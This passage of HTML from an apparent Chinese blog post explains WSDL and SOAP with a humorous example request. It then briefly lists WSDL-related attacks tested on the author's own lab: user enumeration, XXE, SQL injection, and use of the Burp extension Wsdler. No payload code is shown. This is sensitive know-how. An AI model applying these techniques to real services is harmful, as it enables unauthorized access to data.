src="https://wechat2rss.xlab.app/img-proxy/?k=7f3d03f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWczUdGO62lu04H26RLoUJ9fwo6VFnseKeJ28QR6ZM8F0BBaGPBgC6EDvxYBthPWjotjk8TS4AFzRJW9iaklK3qLaQZkgextnOI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-wrap:break-word;word-break:break-all;"><span leaf="">然后<a href="http://yoururl?wsdl，这样就可以看到XML了" target="_blank">http://yoururl?wsdl，这样就可以看到XML了</a></span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038266" data-ratio="0.5666666666666667" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5be9b1ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVNTV1BCicn9ibDqRVyGgwPweTx7m0UX82I8SDOaImasPicRKWpsicsWzORT5ia26UicM80CIQBj5cpXt010j9eIULiacRWvSzicwEcSns%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-wrap:break-word;word-break:break-all;"><span leaf="">可以看到打开以后能看到一大片标签（这里就不展开内容了，要打码，打码看多了对身体不好），这些标签的意思大概如下：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(130, 127, 196);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(112, 103, 166, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">types:定义参数和返回值的数据类型（比如字符串、整数、或是自定义的复杂对象）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">messages:说明每个功能需要什么输入（参数）和会产生什么输出（返回值）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">portType:说明服务提供哪些大类功能（操作）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">binding:说明服务使用的通信协议（如 SOAP over HTTP）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">service:如何连接到服务</span></p></li></ol></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-wrap:break-word;word-break:break-all;"><span leaf="">当然，在任何资料里寻找WSDL都会发现和SOAP密不可分，他们俩就好像初恋的大学生，火热、清澈、胶黏~</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7647058823529411" data-type="png" data-w="306" style="display:block;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;max-width:100%;border-top-style:none;border-bottom-style:none;border-left-style:none;border-right-style:none;border-top-width:3px;border-bottom-width:3px;border-left-width:3px;border-right-width:3px;border-top-color:rgba(0, 0, 0, 0.4);border-bottom-color:rgba(0, 0, 0, 0.4);border-left-color:rgba(0, 0, 0, 0.4);border-right-color:rgba(0, 0, 0, 0.4);border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;object-fit:fill;box-shadow:rgba(0, 0, 0, 0) 0px 0px 0px 0px;width:245px;height:187px;" data-imgfileid="100038262" src="https://wechat2rss.xlab.app/img-proxy/?k=0a4cfb83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVr2wfIv6wR7YawwpXYcfwcicqrFCjtgZicCtcQfWicLRyU3952brt4VD5UOTJgqIOaFibSfbPB0xQcw7hCQgwFM7PMBiazgcfRFoss%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">那他们的关系呢，我们用个例子来说 假设有个服务器，发布了一个WSDL，提供查询开房次数功能</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&lt;!-- 示例：WSDL中定义的查询开房次数记录操作 --&gt;</span><span leaf=""><br/></span><span leaf="">&lt;wsdl:operation name=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;getkaifanglog&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;wsdl:input message=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;tns:getkaifanglogRequest&#34;</span></span><span leaf="">/&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;wsdl:output message=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;tns:getkaifanglogResponse&#34;</span></span><span leaf="">/&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/wsdl:operation&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这时候，来一个年轻的女孩叫小美，他看到了这个WSDL，想查询男朋友小帅的开房记录，于是他构造了SOAP请求。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&lt;soap:Envelope xmlns:soap=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;soap:Body&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;getkaifanglog xmlns=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://example.com/xxx" target="_blank">http://example.com/xxx</a>&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;name&gt;小帅&lt;/name&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;/getkaifanglog&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/soap:Body&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/soap:Envelope&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">服务器查询到了小帅的开房记录，并用SOAP的形式告诉了小美。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&lt;soap:Envelope xmlns:soap=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;soap:Body&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;getkaifanglogResponse xmlns=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://example.com/kaifanglog" target="_blank">http://example.com/kaifanglog</a>&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;number&gt;2,147,483,647&lt;/number&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;/getkaifanglogResponse&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/soap:Body&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/soap:Envelope&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">小美伤心欲绝，从此发誓要远离渣男，并留下了这么一张图。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038264" data-ratio="0.1425925925925926" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c8e464a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUy4GQ7rvqt4QeVId8j9jX1vSmZDM5DX49KfKCqbp2nZLVr2fs4MbIHYbjYZl20Q9jXcOhtSicoibD3WdvymnLTeuVpbrPJA1icmE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">总结一句话：WSDL 是一份基于 XML 的详细说明书，它告诉客户端如何与一个 SOAP Web 服务进行交互，包括服务地址、可用方法和参数格式。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">二、WSDL相关的一些漏洞利用</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-wrap:break-word;word-break:break-all;"><span leaf="">以下截图均为个人内网环境靶场！既然提到了wsdl，就有看了看相关的一些漏洞以及佬们用的工具。（此处非常基础，佬们可以小手点点赞然后退出就好了嘿嘿嘿） 1、信息泄露（用户枚举） 个人理解，既然暴露了如何交互，就可以利用它去尝试找可以暴漏用户信息的地方，例如：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038271" data-ratio="0.3314814814814815" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2003294f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXDpZRibnL6ox9BDiawdCcE6N1uibG3PUWXmtGZEfn8dHpKLGLWGDNt6jAldSibxzicicePibWNHjA7o3ZYohiaeUZk1dKkVrWaq7TiakMM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、常见web漏洞如xxe、sql注入:</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038267" data-ratio="0.34444444444444444" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8d51ed8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdUrAmf87p2EPibib30STRl5NiaFTSLYBeZibZBh3T62FW9O3biavP9P7ZXDDvc3o0DxgAx2d87UbKCE6eP4FYgibZfITxeQOibxrTOfZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33796296296296297" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038268" src="https://wechat2rss.xlab.app/img-proxy/?k=8892bf1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXBUic1icNjicicWEkXTnLuiaOgvBbRo66bL4dsbtCuxBia83xkZhseeZlmH31ictE6vVVAQf8iaTA0DV5UQCayfMacU5LoRL6XvHuDb6M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、一定要写大佬们都推荐的工具-Wsdler burp商店自带，下载非常便捷</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038269" data-ratio="0.45092592592592595" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d9fa4ade&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWcsqI3UYw6gUHFYxicuNSy54icWEjjbGqQicsQJ9qfhPkehMqA2jPtmQubYyPvNxpkKib3DeIbnHWE5shjXWibHj2Wr4ZCYFnh0qmQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">找到扩展，点击直接使用</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4583333333333333" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038270" src="https://wechat2rss.xlab.app/img-proxy/?k=19c66a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWhGWqud2RUiaePoW7OZqcSaLia6tNNLInyxO9lvJYzGNP01CG8rJWzb4lz9LLfRrutodZryskDPrvfkuvt9xJ9rLTWkBMQbwib6I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038273" data-ratio="0.4638888888888889" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fe0f0b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdV2jf6Ojcnv1t2rGrIPfShHIrQlguFmxjclZ84e610Dqr7g52SzCHvaibe1oVYib7D3tYh9TCiaaRAWbL1icxic779wHgxwBJsaGu3I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有问题的地方直接就显示出来，可以转发到重发器里自己再搞一搞（非靶场环境下记得戴好安全措施哦）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9666666666666667" data-type="png" data-w="300" style="display:block;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;max-width:100%;border-top-style:none;border-bottom-style:none;border-left-style:none;border-right-style:none;border-top-width:3px;border-bottom-width:3px;border-left-width:3px;border-right-width:3px;border-top-color:rgba(0, 0, 0, 0.4);border-bottom-color:rgba(0, 0, 0, 0.4);border-left-color:rgba(0, 0, 0, 0.4);border-right-color:rgba(0, 0, 0, 0.4);border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;object-fit:fill;box-shadow:rgba(0, 0, 0, 0) 0px 0px 0px 0px;width:207px;height:200px;" data-imgfileid="100038272" src="https://wechat2rss.xlab.app/img-proxy/?k=e4fe8b77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXV5e2P61ej0gDwxO8vv4ObwUE788pTuMTLbB3tfNOs8jyAiacVtqCgEoibybyR8EalS7ibNZd1cce63BS9mEEe00gWsbtTp5ibfBM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: 